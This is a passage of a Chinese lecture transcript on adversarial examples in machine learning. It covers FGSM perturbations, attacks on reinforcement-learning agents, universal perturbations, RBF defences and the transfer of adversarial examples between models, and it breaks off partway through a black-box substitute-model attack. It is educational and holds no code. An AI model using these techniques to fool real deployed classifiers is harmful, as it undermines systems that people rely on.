ๅฎƒ่ง‰ๅพ—ๆ˜ฏๅญ˜ๅœจๆŸไบ›ไธœ่ฅฟ็š„๏ผŒไธ€็งๆ˜ฏๅฆ‚ๆžœๅฎƒ่ฎคไธบๆŸไธชๅˆ†็ฑปๆœ‰90%็š„ๅฏ่ƒฝๆ€ง๏ผŒๅฎƒๅ…ถๅฎžๆ˜ฏ่ฎคไธบ่ฟ™ไธช็ฑปๆ˜ฏๅญ˜ๅœจ็š„ใ€‚ๆˆ‘ไปฌๅฎๆ„ฟๅฎƒ็ป™ๅ‡บไบ†ไธ€ไธช็ฑปไผผไบŽๅ‡ๅŒ€ๅˆ†ๅธƒ็š„ๅ™ช้Ÿณ๏ผŒ่ฟ™ไธชๅ™ช้Ÿณ็œ‹่ตทๆฅไธ€็‚นไนŸไธๅƒ่ฎญ็ปƒ้›†๏ผŒๅฐฑๆ˜ฏ่ฏดๅƒ้ฉฌ่ฟ˜ๆ˜ฏๅƒๆฑฝ่ฝฆ็š„ๅฏ่ƒฝๆ€งๆ˜ฏไธ€ๆ ท็š„๏ผŒไฝ†ๆจกๅž‹ไธๆ˜ฏ่ฟ™ๆ ท็š„๏ผŒๆจกๅž‹ไผš่ง‰ๅพ—ไธ€ๅฎšๆ˜ฏไธ€ๅŒน้ฉฌใ€‚ๅฆไธ€ไปถไฝ ๅฏไปฅๅš็š„ๆ˜ฏ๏ผŒไฝ ๅฏไปฅๆŠŠๆจกๅž‹็š„ๆœ€ๅŽไธ€ๅฑ‚ๆขๆŽ‰๏ผŒๆฏ”ๅฆ‚่ฏดไฝ ๆขๆˆๅฏนๆฏไธช็ฑป็š„ sigmoid ่พ“ๅ‡บใ€‚่ฟ™ๆ ทๆจกๅž‹ๅฐฑๅฏไปฅๅ‘Š่ฏ‰ไฝ ็ป™ๅฎšๅˆ†็ฑป็š„ๅญ้›†็š„ๅˆ†ๅธƒ๏ผŒๅฎƒๅฏไปฅๅ‘Š่ฏ‰ไฝ ไธ€ไธชๅ›พ็‰‡ๆ—ขๆ˜ฏ้ฉฌๅˆๆ˜ฏ่ฝฆใ€‚ๆˆ‘ไปฌๅธŒๆœ›ๅ™ชๅฃฐ่ƒฝๅคŸไธ่ขซๅˆ†ๆˆไปปไฝ•็ฑป๏ผŒๅฐฑๆ˜ฏ่ฏดๆฏไธช sigmoid ๅพ—ๅˆฐ็š„ๅ€ผ้ƒฝๅบ”่ฏฅๅฐไบŽ 1/2๏ผŒ1/2 ่ฟ˜ไธๆ˜ฏไธ€ไธชๅพˆไฝŽ็š„้˜ˆๅ€ผ๏ผŒๅฏน่ฟ™็งๆœ‰็ผบ้™ท็š„่พ“ๅ…ฅsigmoid ้˜ˆๅ€ผๆ”นๆˆๅฐไบŽ0.01ไนŸๆ˜ฏๅˆ็†็š„ใ€‚ไฝ†ๆˆ‘ไปฌไผšๅ‘็Žฐๅœจๆจกๅž‹ไธŠๅŠ ไธŠ่ถณๅคŸๅคง่Œƒๆ•ฐ็š„้ซ˜ๆ–ฏๅˆ†ๅธƒ็š„ๅ™ชๅฃฐ๏ผŒ่ฟ™ไบ› sigmoidๆ€ปๆ˜ฏ่ถ‹ๅ‘ไบŽๅˆ†ๆˆๆŸไธช็ฑปใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/21/5ba48be3ab952.png)\n\nๆˆ‘ไปฌ่ฟ˜ๅ‘็Žฐไบ†ๆˆ‘ไปฌๅฏไปฅ้€š่ฟ‡ๅฏนๆŠ—ๆ ทๆœฌๆฅ่ฟ›่กŒๅผบๅŒ–ๅญฆไน ๏ผŒ่ฟ™้‡Œๆœ‰ไธ€ไธช่ง†้ข‘ใ€‚ๆœ‰ไธ€ไธชๅซ Atari ไธŠ็š„ๆธธๆˆๅซ Seaquest๏ผŒไฝ ๅฏไปฅ็”จๅผบๅŒ–ๅญฆไน ๆฅ่ฎญ็ปƒๆ™บ่ƒฝไฝ“็Žฉๆธธๆˆใ€‚ไฝ ๅฏไปฅๆ‹ฟๅŽŸๅง‹็š„่พ“ๅ…ฅๅƒ็ด ๅˆฉ็”จ FGSM ๆˆ–ๅ…ถไป–่Œƒๆ•ฐๅŒ…ๆ‹ฌๆœ€ๅคง่Œƒๆ•ฐ็š„ๆ”ปๅ‡ปๆฅ่ฎก็ฎ—ๆ‰ฐๅŠจ็”จๆฅๆ”นๅ˜้€‰ๆ‹ฉ่กŒไธบ็š„็ญ–็•ฅใ€‚ๅผบๅŒ–ๅญฆไน ็ญ–็•ฅ๏ผŒไฝ ๅฏไปฅๆƒณ่ฑกๆˆไธ€ไธชๅฏไปฅๆŽฅๅ—ๆก†ๆžถ็š„ๅˆ†็ฑปๅ™จ๏ผŒไฝ†ไธๆ˜ฏๆŠŠ่พ“ๅ…ฅๅˆ†ๅˆฐๆŸไธชๅ…ทไฝ“็š„็ฑป๏ผŒๅฎƒๅฏไปฅ็ป™ๅ‡บไธ€ไธช้‡‡ๅ–่กŒๅŠจ็š„ softmax ๅˆ†ๅธƒใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๅฐฑ้‡‡ๅ–ๅฎƒ๏ผŒ้‚ฃไนˆ่ฟ™ไธช่กŒๅŠจๅบ”่ฏฅ่ขซๆ•Œไบบ้™ไฝŽไบ†่ฏฅ่กŒๅŠจ็š„ๅฏ่ƒฝๆ€ง๏ผŒไฝ ไผšๅพ—ๅˆฐ่พ“ๅ…ฅๆก†ๆžถ็š„ไธ€ไบ›ๆ‰ฐๅŠจ๏ผŒ็ปง็ปญๅˆฉ็”จ่ฟ™ไธชๆก†ๆžถ๏ผŒๅฐฑไผšๅฏผ่‡ดๅ’ŒๅŽŸๆœฌๅบ”่ฏฅ่ฆ้‡‡ๅ–็š„่กŒๅŠจไธไธ€่‡ด็š„่กŒๅŠจใ€‚่ฟ™ๆ ทไฝ ็š„ๆ™บ่ƒฝไฝ“็Žฉ Seaquest ๅฐฑไผšๅพˆๅทฎๅพˆๅทฎใ€‚\n\n่ฟ™ๅนถไธๆ˜ฏๆœ€ๆœ‰ๆ„ๆ€็š„ไบ‹ๆƒ…ใ€‚ๆˆ‘ไปฌๆœ€ๅ–œๆฌขๆ˜ฏๆœ‰ๅพˆๅคšๅฅ–ๅŠฑๅ‡ฝๆ•ฐๅฏไปฅไพ›ๆˆ‘ไปฌๅญฆไน ็š„็Žฏๅขƒ๏ผŒๆฏ”ๅฆ‚่ฏด๏ผŒไฝ ๆœ‰ไธ€ไธชๆœบๅ™จไบบๆƒณ่ฆ็”จๆฅ็‚’้ธก่›‹๏ผŒ้‚ฃไฝ ๅฐฑๆœ‰ไธ€ไธชๅฅ–ๅŠฑๅ‡ฝๆ•ฐ่กก้‡ๅฎƒ้ธก่›‹็‚’ๅพ—ๆ€Žไนˆๆ ท๏ผŒๆœ‰ๅฆไธ€ไธชๅฅ–ๅŠฑๅ‡ฝๆ•ฐ่กก้‡ๅฎƒๅทงๅ…‹ๅŠ›่›‹็ณ•ๅšๅพ—ๆ€Žไนˆๆ ทใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ็”จๅฏนๆŠ—ๆ ทๆœฌ่ฎฉๆœบๅ™จไบบๅœจๅบ”่ฏฅ็‚’้ธก่›‹็š„ๆ—ถๅ€™ๅŽปๅšๅทงๅ…‹ๅŠ›่›‹็ณ•๏ผŒ่ฟ™ๅฐฑๆœ‰็‚นๆ„ๆ€ไบ†ใ€‚ๅ› ไธบๅšๆˆไธ€ไปถไบ‹ๆƒ…ๅพˆ้šพ๏ผŒไฝ†่ฎฉ็ณป็ปŸๅคฑ่ดฅๅ€’ๆ˜ฏๆŒบๅฎนๆ˜“็š„๏ผŒๆ‰€ไปฅ็ŽฐๅœจๅผบๅŒ–ๅญฆไน ็š„ๅฏนๆŠ—ๆ ทๆœฌๅพˆๆ“…้•ฟ่ฎฉๆˆ‘ไปฌ็š„ๅผบๅŒ–ๅญฆไน ๆœบๅ™จไบบๅคฑ่ดฅ๏ผŒไฝ†ๆˆ‘ไปฌ่ฟ˜ๆฒกๆœ‰ๅŠžๆณ•ๅŠซๆŒ่ฟ™ไบ›ๆ”ปๅ‡ป๏ผŒ่ฎฉๅฎƒๅฎŒๆˆไธๅŒไบŽไธปไบบๆƒณ่ฆๅš็š„ๅคๆ‚็š„ๅทฅไฝœใ€‚็œ‹่ตทๆฅ่ฟ™ๆ˜ฏๅฏนๆŠ—ๆ ทๆœฌ็ ”็ฉถ้ข†ๅŸŸๆœชๆฅ็š„ไธป้ข˜ไน‹ไธ€ไบ†ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/21/5ba48e444a416.png)\n\nๅฆ‚ๆžœๆˆ‘ไปฌ็œ‹้ซ˜็ปด็š„็บฟๆ€งๆจกๅž‹๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐๅพˆๅคšๆ˜ฏ็ฎ€ๅ•็›ดๆŽฅ็š„ใ€‚\n\nๆˆ‘ไปฌๆœ‰ไธ€ไธช้€ป่พ‘ๅ›žๅฝ’ๆจกๅž‹ๆฅๅŒบๅˆ† 7 ๅ’Œ 3ใ€‚้‚ฃไนˆๆ•ดไธชๆจกๅž‹ๅฐฑๆ˜ฏ็”ฑไธ€ไธชๆƒ้‡ๅ‘้‡ๅ’Œๅ•ไธชๅ็งป้กนๆ ‡้‡็ป„ๆˆใ€‚่ฟ™ไธชไพ‹ๅญ้‡Œ๏ผŒๆˆ‘ไปฌ้ƒฝไธ็”จ็ฎก่ฟ™ไธชๅ็งป้กนใ€‚ๅฆ‚ๆžœไฝ ็œ‹ๆˆ‘ๅทฆ่พน็š„ๅ›พ๏ผŒๆˆ‘็”ปๅ‡บๆฅไบ†็”จๆฅๅŒบๅˆ† 3 ๅ’Œ 7 ็š„ๆƒ้‡๏ผŒ่ฟ™ไธชๆƒ้‡็œ‹่ตทๆฅๆœ‰ไธ€็‚นๆƒณๅนณๅ‡็š„ 3 ๅ’Œๅนณๅ‡็š„ 7 ็š„ๅŒบๅˆซใ€‚ๅœจ่ฟ™ๅผ ๅ›พ็š„ไธ‹้ข๏ผŒๆˆ‘ๅ–ไบ†่ฟ™ไธชๆƒ้‡็Ÿฉ้˜ต็š„็ฌฆๅท๏ผŒ้‚ฃไนˆ้€ป่พ‘ๅ›žๅฝ’ๆจกๅž‹็š„ๆขฏๅบฆๅฐฑไผšๅ’Œๆƒ้‡ๆˆๆฏ”ไพ‹ใ€‚่ฟ™ไธชๆƒ้‡็š„็ฌฆๅทๅฐฑๆ˜ฏๆขฏๅบฆ็š„็ฌฆๅท๏ผŒ้‚ฃไนˆๆˆ‘ไปฌๅฏไปฅๅช็”จ่ฟ™ไธชๆƒ้‡ FGSM ๆฅๆ”ปๅ‡ปๆจกๅž‹ไบ†ใ€‚ๅœจ่ฟ™ไธชไพ‹ๅญไธญ่ฟ™ไธชๅˆ†ๅ—ๅทฆ่พน็ฌฌไบŒๅˆ—ๆ˜ฏๅนฒๅ‡€็š„ๆ ทๆœฌ๏ผŒๅณ่พนๅฐฑๆ˜ฏๅ›พ็‰‡ๅŠ ไธŠๆˆ–ๅ‡ๅŽปๆƒ้‡็š„็ฌฆๅทใ€‚ๅฏนไฝ ๆˆ‘่ฟ™ๆ ท็š„ไบบ็ฑป่ง‚ๆต‹่€…๏ผŒๆƒ้‡็š„็ฌฆๅทๅฐฑๅƒๆ˜ฏ่ƒŒๆ™ฏ้‡Œ็š„ๅžƒๅœพ๏ผŒๆˆ‘ไปฌๆ€ป่ƒฝ่‡ชๅทฑ่ฟ‡ๆปคๆŽ‰ไธ็œ‹๏ผŒๅฎƒไปฌ็œ‹่ตทๆฅไธ€็‚นไนŸๆฒกๆ„ๆ€๏ผŒไนŸไธไผšๅผ•่ตทๆˆ‘ไปฌ็š„ๆณจๆ„ใ€‚ไฝ†ๅฏน้€ป่พ‘ๅ›žๅฝ’ๆจกๅž‹ๆฅ่ฏด๏ผŒๅ›พ็‰‡ๆƒ้‡็š„็ฌฆๅทๅฐฑๆ˜ฏๅ›พ็‰‡ๆ‰€ๆœ‰ไฟกๆฏไธญ็š„ๅคด็ญ‰ๅคงไบ‹ๅ•ฆใ€‚ๅฎƒๆ˜ฏๆญฃ็š„๏ผŒ่ฟ™ๅฐฑๆ˜ฏๅ…จไธ–็•Œๆœ€ๅ…ธๅž‹็š„ 7๏ผŒๅฎƒๆ˜ฏ่ดŸ็š„ๆ—ถๅ€™๏ผŒๅฐฑๆ˜ฏๅ…จไธ–็•Œๆœ€ๅ…ธๅž‹็š„ 3ใ€‚ๆจกๅž‹ๅšๅ†ณ็ญ–็š„ๆ—ถๅ€™๏ผŒๅ‡ ไนŽๅฎŒๅ…จๆ˜ฏ้ ๆˆ‘ไปฌๅฏนๅ›พ็‰‡ๅŠ ไธŠ็š„ๆ‰ฐๅŠจ๏ผŒ่€Œไธๆ˜ฏ็”จๅŽŸๆฅ็š„่ƒŒๆ™ฏใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/21/5ba4903ece4eb.png)\n\nไฝ ไนŸๅฏไปฅๅšไธ€ๆ ท็š„ไบ‹ๆƒ…ใ€‚ๆˆ‘็š„ๅœจ OpenAI ็š„ๅŒไบ‹ Andrej ๅฑ•็คบไบ†ๅฆ‚ๆžœ็”จๅŒๆ ท็š„ๆ–นๆณ•ๆฅๆ”นๅ˜ ImageNet ไธŠ็š„ๅ›พ็‰‡๏ผŒ็„ถๅŽๆŠŠ้‡‘้ฑผๅ˜ๆˆ้›่Šใ€‚ๅ› ไธบ ImageNet ้ซ˜็ปดๅพ—ๅคš๏ผŒไฝ ไธ้œ€่ฆ็”จๅ›พ็‰‡ๆƒ้‡้‚ฃไนˆๅคง็š„็ณปๆ•ฐ๏ผŒๆˆ‘ไปฌๅฐฑๅฏไปฅๆž„้€ ๅ‡บไธ€ไธชๆฌบ้ช—ๆ€ง็š„ๆ”ปๅ‡ปใ€‚ไฝ ๅฏไปฅ็œ‹ๅˆฐๅฏนไปปไฝ•่พ“ๅ…ฅๅ›พ็‰‡ๅŠ ไธŠ่ฟ™ไธชๆƒ้‡๏ผŒ็กฎๅฎžไผšๅฏผ่‡ดๅˆ†็ฑป้”™่ฏฏ๏ผŒ่€Œไธ”ๅ…ถๅฎžๆœ‰ๅพˆๅคšไธๅŒ็š„ๅˆ†็ฑป๏ผŒๅฐฑๆ˜ฏ่ฏดๅฆ‚ๆžœไฝ ้€‰ๆ‹ฉไปปไฝ•ไธ€ไธช็‰นๅฎšๅˆ†็ฑป็š„ๆƒ้‡๏ผŒๅพˆๆœ‰ๅฏ่ƒฝๆ–ฐ็š„ๆต‹่ฏ•ๅ›พ็‰‡๏ผŒไธๅฑžไบŽ้‚ฃไธชๅˆ†็ฑปใ€‚ๅœจ ImageNet ไธŠ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ็”จ้›่Šๅˆ†็ฑป็š„ๆƒ้‡๏ผŒๅฆๅค–่ฟ˜ๆœ‰1000ไธชไธๅŒ็š„ๅˆ†็ฑป๏ผŒๆˆ‘ไปฌๅ…ถๅฎžๆ˜ฏไผšๆœ‰ 99.9% ็š„ๆฆ‚็Ž‡ๅพ—ๅˆฐๆต‹่ฏ•ๆ ทๆœฌไธๆ˜ฏ้›่Šใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๆŽฅไธ‹ๅŽปๆŠŠๅ›พ็‰‡ๅŠ ไธŠ้›่Šๅˆ†็ฑป็š„ๆƒ้‡็š„ๆ—ถๅ€™๏ผŒๆˆ‘ไปฌไผšๅพ—ๅˆฐ้›่Š๏ผŒไฝ†่ฟ™ไธๆ˜ฏๆญฃ็กฎ็š„ๅˆ†็ฑป๏ผŒๆ˜ฏไธ€ไธช้”™่ฏฏๅˆ†็ฑปใ€‚ๆœ‰ไธ€็ฏ‡ไปŠๅนด็š„ CVPR ็š„ๆ–‡็ซ ๏ผŒๅซ Universal Adversarial Perturbations ๆ‰ฉๅฑ•ไบ†ๆˆ‘ไปฌๅœจ2014ๅนด็ป™ๅ‡บ็š„ๅพˆๅคš่ง‚ๆต‹็ป“ๆžœใ€‚ไฝ†ๅŸบๆœฌไธŠ่ฟ˜ๆ˜ฏๅœจๅพˆๅคšไธๅŒ็š„ๅ›พ็‰‡ไธŠ๏ผŒ่ฟ™ไบ›ๆƒ้‡็Ÿฉ้˜ตไผšๅฏผ่‡ดๆ‰€ๆœ‰ๅ›พ็‰‡็š„้”™่ฏฏๅˆ†็ฑปใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/21/5ba491a8954e6.png)\n\nๆˆ‘่Šฑไบ†ๅพˆๅคšๆ—ถ้—ดๆฅๅ‘Š่ฏ‰ไฝ ็บฟๆ€งๆจกๅž‹ๆ˜ฏๅพˆ็ณŸ็ณ•็š„๏ผŒไฝ ๅฏ่ƒฝๆœŸๅพ…็€ๆˆ‘ไผšๅ‘Š่ฏ‰ไฝ ไธ€ไบ›ๆŽงๅˆถๅ˜้‡็š„ๅฎž้ชŒๆฅๅ‘Š่ฏ‰ไฝ ๆœ‰ๅˆซ็š„ๆจกๅž‹ๆ•ˆๆžœไธ้‚ฃไนˆๅทฎใ€‚ไบ‹ๅฎžไธŠ๏ผŒๆŸไบ›ไบŒๆฌก็š„ๆจกๅž‹ๆ•ˆๆžœๅฐฑๅพˆๅฅฝใ€‚็‰นๅˆซ็š„๏ผŒๆต…ๅฑ‚็š„ RBF ็ฝ‘็ปœๅฏไปฅๅพˆๅฅฝๆŠตๆŒกๅฏนๆŠ—ๆ‰ฐๅŠจใ€‚ไน‹ๅ‰ๆˆ‘็ป™ไฝ ไปฌๅฑ•็คบ่ฟ‡ไธ€ไธชๅŠจ็”ป๏ผŒๆ นๆœฌไธๆ”นๅ˜ๆ ทๅญๅฐฑ่ƒฝๆŠŠ 9 ๅ˜ๆˆ 0 ๆˆ–1 ๆˆ–2 ็ญ‰็ญ‰ใ€‚่ฟ™ๆ ทๆˆ‘ๅฐฑๆˆๅŠŸๅœฐๆฌบ้ช—ไบ†็บฟๆ€ง softmax ๅ›žๅฝ’ๅˆ†็ฑปๅ™จใ€‚่ฟ™้‡Œๆˆ‘ๆœ‰ไธ€ไธช RBF ็ฝ‘็ปœ๏ผŒ่พ“ๅ‡บๆ˜ฏๆฏไธช็ฑปๅญ˜ไธๅญ˜ๅœจ็š„ๅ•็‹ฌ็š„ๆฆ‚็Ž‡๏ผŒๆฆ‚็Ž‡ๆ˜ฏไปฅ e ไธบๅบ•ๆ•ฐ่ดŸ็š„่พ“ๅ…ฅๅ›พ็‰‡ๅ’Œๆจกๆฟๅ›พ็‰‡็š„ๅทฎ็š„ๅนณๆ–นไธบๆŒ‡ๆ•ฐๅพ—ๅˆฐ็š„ใ€‚ๆˆ‘ไปฌๆฒฟ็€่ฟ™ไธชๅˆ†็ฑปๅ™จ็š„ๆขฏๅบฆ๏ผŒๅฐฑๅฏไปฅๆŠŠๅ›พ็‰‡ๅ˜ๆˆไธ€ไธช0๏ผŒไธ€ไธช1๏ผŒไธ€ไธช2๏ผŒไธ€ไธช3็ญ‰็ญ‰๏ผŒๆˆ‘ไปฌ็กฎๅฎžๅฏไปฅ็œ‹ๅ‡บ่ฟ™ไบ›ๅ˜ๅŒ–ใ€‚้—ฎ้ข˜ๆ˜ฏๅˆ†็ฑปๅ™จๅœจ่ฎญ็ปƒ้›†ไธŠๆฒกๆœ‰ๅพ—ๅˆฐๅพˆ้ซ˜็š„ๅ‡†็กฎ็Ž‡๏ผŒ่ฟ™ๆ˜ฏไธ€ไธชๆต…ๅฑ‚็š„ๆจกๅž‹๏ผŒๅŸบๆœฌไธŠๅชๆ˜ฏไธ€ไธชๆจกๆฟๅŒน้…ๅ™จใ€‚ๅฆ‚ๆžœไฝ ๅฐ่ฏ•็€ๅขžๅŠ ๅฑ‚ๆ•ฐๅพ—ๅˆฐไธ€ไธชๆ›ดๅคๆ‚็š„ๆจกๅž‹๏ผŒไผšๅ‘็Žฐ่ฟ™ไบ› RBF ๅ•ๅ…ƒ็š„ๆขฏๅบฆๆ˜ฏ0๏ผŒๆˆ–ๅพˆๆŽฅ่ฟ‘0 ๅœจๅคง้ƒจๅˆ† RN ไธŠใ€‚้‚ฃๅฐฑๅฏผ่‡ดไบ†ๅฐฑ็ฎ—ๆ˜ฏ็”จไธŠๅˆ†ๆ‰นๆญฃๅˆ™ๅŒ–ๆˆ–็ฑปไผผ็š„ๆ–นๆณ•๏ผŒไนŸๅพˆ้šพ่ฎญ็ปƒๅฎƒไปฌใ€‚ๆˆ‘็›ฎๅ‰่ฟ˜ๆฒกๆœ‰่ฎญ็ปƒๅฅฝไธ€ไธชๆทฑๅฑ‚ RBF ็ฝ‘็ปœ๏ผŒไฝ†ๆˆ‘่ง‰ๅพ—ๅฆ‚ๆžœๆœ‰ไบบ่ƒฝๆœ‰ๆ›ดๅฅฝ็š„่ถ…ๅ‚ๆ•ฐ๏ผŒๆˆ–่€…ๆ›ดๆ–ฐๆ›ดๅผบ็š„ไผ˜ๅŒ–็ฎ—ๆณ•๏ผŒ้‚ฃไนˆ่ฎญ็ปƒๆทฑๅฑ‚ RBF ็ฝ‘็ปœๆฅ่งฃๅ†ณๅฏนๆŠ—ๆ ทๆœฌ้—ฎ้ข˜ๆ˜ฏๆœ‰ๅฏ่ƒฝ็š„ใ€‚ๅ› ไธบ่ฟ™ไธชๆจกๅž‹้ž็บฟๆ€ง็จ‹ๅบฆ้ซ˜๏ผŒๆœ‰็€ๅฎฝ้˜”็š„ๅนณๅฆ็š„ๅŒบๅŸŸ๏ผŒ่ฟ™ๆ ทๆ•Œไบบๅพˆ้šพๅชๅฏนๆจกๅž‹็š„่พ“ๅ…ฅๅšๅฐ็š„ๅ˜ๅŠจๅฐฑๆๅ‡ๆŸๅคฑๅ‡ฝๆ•ฐใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/21/5ba493b2a8003.png)\n\nๅ…ณไบŽๅฏนๆŠ—ๆ ทไพ‹๏ผŒๆœ€้œ€่ฆๆณจๆ„็š„ๆ˜ฏไป–ไปฌๅฏไปฅไปŽๆ•ฐๆฎ้›†ๆณ›ๅŒ–ๅˆฐๅฆไธ€ไธช๏ผŒไปŽไธ€ไธชๆจกๅž‹ๆณ›ๅŒ–ๅˆฐๅฆไธ€ไธชใ€‚\n\nๆˆ‘่ฟ™้‡ŒๅœจไธคไธชไธๅŒ็š„่ฎญ็ปƒ้›†ไธŠ่ฎญ็ปƒไบ†ไธคไธชไธๅŒ็š„ๆจกๅž‹๏ผŒไธคไธช่ฎญ็ปƒ้›†้žๅธธๅฐ๏ผŒๅชๆ˜ฏ MNIST ไธŠ็š„ 3 ๅ’Œ 7 ็š„ๅˆ†็ฑป๏ผŒๅชๆ˜ฏไธบไบ†ๅˆถไฝœๅนป็ฏ็‰‡็š„้œ€่ฆใ€‚ๅฆ‚ๆžœไฝ ็”จๅทฆ่พนไธ€ๅ—ๅ›พ็š„ๆ•ฐๅญ—่ฎญ็ปƒไธ€ไธช้€ป่พ‘ๅ›žๅฝ’ๆจกๅž‹๏ผŒไฝ ๅฐฑไผšๅพ—ๅˆฐๅทฆไธ‹่ง’็š„ๆƒ้‡๏ผŒๅฆ‚ๆžœไฝ ็”จๅณไธŠ่ง’็š„ๆ•ฐๅญ—่ฎญ็ปƒไธ€ไธช้€ป่พ‘ๅ›žๅฝ’ๆจกๅž‹๏ผŒไฝ ๅฏไปฅๅพ—ๅˆฐๅณไธ‹ๆ–น็š„ๆƒ้‡ใ€‚่ฟ™ๆ ทไฝ ๅฐฑๆœ‰ไธคไธชไธๅŒ็š„่ฎญ็ปƒ้›†๏ผŒๆˆ‘ไปฌๅญฆไน ไบ†่ฟžไธช็œ‹่ตทๆฅๅพˆๅผบ็š„ๅพˆๅƒๆƒ้‡็Ÿฉ้˜ต๏ผŒ่ฟ™ๅ› ไธบๆœบๅ™จๅญฆไน ็ฎ—ๆณ•ๆณ›ๅŒ–ไบ†็›ฎๆ ‡ๅ‡ฝๆ•ฐ๏ผŒๆ˜ฏ็‹ฌ็ซ‹ไบŽไฝ ่ฎญ็ปƒ็š„ๆ•ฐๆฎ็š„๏ผŒ่ฟ™ๅ’Œไฝ ๅ…ทไฝ“้€‰ๆ‹ฉๅ“ชไธช่ฎญ็ปƒๆ ทๆœฌๆ˜ฏๆฒกไป€ไนˆๅ…ณ็ณป็š„ใ€‚ๅฆ‚ๆžœไฝ ๆƒณๆŠŠ่ฎญ็ปƒ้›†ๆณ›ๅŒ–ๅˆฐๆต‹่ฏ•้›†ไธŠ๏ผŒไฝ ่ฟ˜่ฆๆœŸๅพ…ไธๅŒ็š„่ฎญ็ปƒ้›†ไผšๅพ—ๅˆฐๅทฎไธๅคš็š„็ป“ๆžœใ€‚่ฟ™ๆ„ๅ‘ณ็€ๅฎƒไปฌๅญฆๅˆฐ็š„ๆ˜ฏๅทฎไธๅคš็š„ๅ‡ฝๆ•ฐ๏ผŒ่ฟ™ๆ ทไป–ไปฌๅฐฑไผšๅฏน็ฑปไผผ็š„ๅฏนๆŠ—ๆ ทๆœฌ่กจ็Žฐ่–„ๅผฑ๏ผŒๆ•Œไบบๅฐฑๅฏไปฅ่ฎก็ฎ—ไธ€ไธชๅ›พ็‰‡ๆฅๆฌบ้ช—ๅ…ถไธญไธ€ไธช๏ผŒ็„ถๅŽ็”จๅฎƒไนŸ่ƒฝๆฌบ้ช—็ฌฌไบŒไธชใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5c8cdc0754.png)\n\nไบ‹ๅฎžไธŠ๏ผŒๆˆ‘ไปฌๅฏไปฅ็›ดๆŽฅๆฅ่กก้‡ๅ‡ ็งไธๅŒ็š„ๆœบๅ™จๅญฆไน ๆŠ€ๆœฏ็š„่ฟ็งป็Ž‡๏ผŒไธๅชๆ˜ฏๅœจไธๅŒ็š„ๆ•ฐๆฎ้›†ไธŠ็š„่ฟ็งป็Ž‡ใ€‚Nicolas Papernot ๅ’Œไป–็š„ๅˆไฝœ่€…่Šฑไบ†ๅพˆ้•ฟๆ—ถ้—ดๆฅๆŽข็ดข่ฟ็งปๆ•ˆๆžœใ€‚ไป–ไปฌๅ‘็Žฐ้€ป่พ‘ๅ›žๅฝ’ๆž„้€ ็š„ๅฏนๆŠ—ๆ ทๆœฌๆœ‰ 87.4 ็š„ๆฆ‚็Ž‡่ฟ็งปๅˆฐๅ†ณ็ญ–ๆ ‘ใ€‚่ฟ™ไธช็Ÿฉ้˜ต้‡Œๆทฑ่‰ฒ็š„ๅ—่กจ็คบๆœ‰ๅพˆ้ซ˜็š„่ฟ็งปๆ•ฐ้‡๏ผŒๅฐฑ่กจ็คบๆ”ปๅ‡ป่€…ๅพˆๅฎนๆ˜“ๅˆฉ็”จๅทฆ่พน็š„ๆจกๅž‹ๆž„้€ ๅ‡บๅฏนๆŠ—ๆ ทๆœฌๆฅๆ”ปๅ‡ปๅณ่พน็š„ๆจกๅž‹ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/22/5ba5c99f417ec.png)\n\nๆ•ดไธชๆต็จ‹ๆ˜ฏ่ฟ™ๆ ท็š„ใ€‚ๅ‡่ฎพไธ€ไธชๆ”ปๅ‡ป่€…ๆƒณ่ฆๆฌบ้ช—ไธ€ไธชไป–ไปฌๆ— ๆณ•ๆŽฅ่งฆ็š„ๆจกๅž‹๏ผŒไป–ไปฌไธ็Ÿฅ้“่ฎญ็ปƒๆจกๅž‹็š„็ป“ๆž„๏ผŒไป–ไปฌๅฏ่ƒฝ่ฟžไฝฟ็”จ็š„็ฎ—ๆณ•ไนŸไธ็Ÿฅ้“๏ผŒไป–ไปฌๅฏ่ƒฝไธ็Ÿฅ้“ไป–ไปฌ่ฆๆ”ปๅ‡ป็š„ๆ˜ฏๅ†ณ็ญ–ๆ ‘่ฟ˜ๆ˜ฏๆทฑๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผŒไป–ไปฌไนŸไธ็Ÿฅ้“่ฆๆ”ปๅ‡ป็š„ๆจกๅž‹ๅ‚ๆ•ฐใ€‚ไป–ไปฌ่ƒฝๅš็š„ๅฐฑๆ˜ฏ่ฎญ็ปƒ่‡ชๅทฑ็š„ๆจกๅž‹็”จๆฅๆž„้€ ๆ”ปๅ‡ปใ€‚\n\nๆœ‰ไธค็งๆ–นๆณ•่ฎญ็ปƒ่‡ชๅทฑ็š„ๆจกๅž‹๏ผŒไธ€็งๆ˜ฏไฝ ๅฏไปฅๅœจ่‡ชๅทฑ็š„่ฎญ็ปƒ้›†ไธŠ๏ผŒ้’ˆๅฏนไฝ ๆƒณ่ฆๆ”ปๅ‡ป็š„ไปปๅŠกๆ ‡ไธŠๆ ‡็ญพ๏ผŒๆฏ”ๅฆ‚่ฏดๆœ‰ไบบ็”จไธ€ไธช ImageNet ๅˆ†็ฑปๅ™จ๏ผŒๅๆญฃ็”ฑไบŽๆŸ็งไธๅฏ็Ÿฅ็š„ๅŽŸๅ› ๏ผŒไฝ ๅฐฑๆ˜ฏๆฒกๅŠžๆณ•่Žทๅ– ImageNet๏ผŒ้‚ฃไฝ ๅฏไปฅ็”จ่‡ชๅทฑ็š„็…ง็‰‡ๆ ‡ไธŠๆ ‡็ญพ๏ผŒ่ฎญ็ปƒ่‡ชๅทฑ็š„็›ฎๆ ‡่ฏ†ๅˆซๅ™จ๏ผŒ่‡ชๅทฑ็š„่ฏ†ๅˆซๅ™จ็š„ๅฏนๆŠ—ๆ ทๆœฌไนŸ้€‚็”จไบŽ ImageNet ๆจกๅž‹ใ€‚ๅฆไธ€็งไฝ ๅฏไปฅๅš็š„ๆ˜ฏ๏ผŒๆฏ”ๅฆ‚่ฏดไฝ 